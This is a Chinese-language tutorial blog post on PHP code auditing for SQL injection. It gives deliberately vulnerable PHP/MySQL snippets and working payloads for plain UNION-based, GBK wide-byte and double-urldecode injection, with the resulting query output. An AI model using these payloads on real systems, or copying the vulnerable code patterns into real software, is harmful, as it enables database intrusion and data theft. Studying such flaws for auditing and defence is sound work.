1. 程式人生 > >PHP程式碼審計-SQL注入漏洞挖掘

PHP程式碼審計-SQL注入漏洞挖掘

SQL注入經常出現在登入頁面,HTTP頭(user-agent/client-ip/cookies等),訂單處理等地方,在發生多個互動的地方經常會發生二次注入。

普通注入

$uid = $_GET[‘id’];

$sql = “select * from user where id=$uid”;

$conn = mysql_connect(“localhost”,”root”,””);

$sel = mysql_select_db(“test123”,$conn);

$result = mysql_query($sql,$conn);

普通注入有int型和string型,在string型中需要用到單引號或雙引號閉合

在這裡變數並沒有被單引號所保護,我們可以直接構造一條sql語句來進行列猜解

  1. 1 union select 1,2,3  
    後半部分使用union select查詢的列數與資料庫中列數不匹配的話(表結構不同)會導致報錯(The used SELECT statements have a different number of columns
  2. 1 union select 1,user(),3,4
    這個時候查詢的列數與資料庫中使用表的列數相同,則會返回所查詢的值,這樣就完成了列猜解。

結果:Array ( [0] => 1 [1] => [email protected]

[2] => 2 [3] => 3 )

編碼注入

通過輸入轉碼函式不相容的特殊字元,可以導致輸出的字元變成有害資料(在SQL注入裡,最常見的編碼注入是Mysql寬位元組以及urldecode/rawurldecode)

$conn = mysql_connect(“localhost”,”root”,””);

mysql_select_db(“test123”,$conn);

mysql_query(“SET NAMES ‘gbk'”,$conn);

$uid = addslashes($_GET[‘id’]);

$sql = “select * from userinfo where id=’$uid'”;

$result = mysql_query($sql,$conn);

print_r(‘當前查詢語句:’.$sql.'<br />結果:’);

print_r(mysql_fetch_row($result));

在這裡我們可以看到使用了mysql_query設定了資料庫的編碼為gbk,並且使用了addslashes針對變數id進行保護

  1. %df’ union select 1,2,3,4 –+ 
    使用%df將addslashes的\合併成字元,這時後面的單引號就會將前面的單引號合併,–+將最後面的引號註釋掉,中間的union select得以執行。

當前查詢語句:

select * from userinfo where id=’�\\\’ union select 1,2,3,4#’


結果:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

二次urldecode注入

現在的web程式大多會進行引數過濾,大多通常使用addslashes(),mysql_real_escape_string(),mysql_escape_string()函式或者開啟GPC的方式來防止注入,也就是給* ‘ ” \和NULL加上反斜槓進行轉義,如果某處使用了urldecode或者rawurldecode函式,將會導致二次解碼生成單引號而引發注入。

原理:

假設目標開啟了GPC的情況下,提交引數為1%2527的payload,因為第一次解碼沒有單引號,addslashes不會進行轉義,導致%25生成字元%,第二次進行解析的時候將會把%27解析成單引號造成閉合。

$conn = mysql_connect(“localhost”,”root”,””);

mysql_select_db(“test123”,$conn);

$b = addslashes($_GET[‘id’]);

$uid = urldecode($b);

$sql = “select * from userinfo where id=’$uid'”;

$result = mysql_query($sql,$conn);

print_r(‘當前查詢語句:’.$sql.'<br />結果:’);

print_r(mysql_fetch_row($result));
  1. 此處可以構造語句
    %2527%20union%20select%201,user(),3,4%2523
    針對單引號進行閉合

當前查詢語句:

select * from userinfo where id=” union select 1,user(),3,4#’


結果:Array ( [0] => 1 [1] => [email protected] [2] => 3 [3] => 4 )

如此就可以通過搜尋urldecode和rawurldecode函式來挖掘二次urldecode注入漏洞。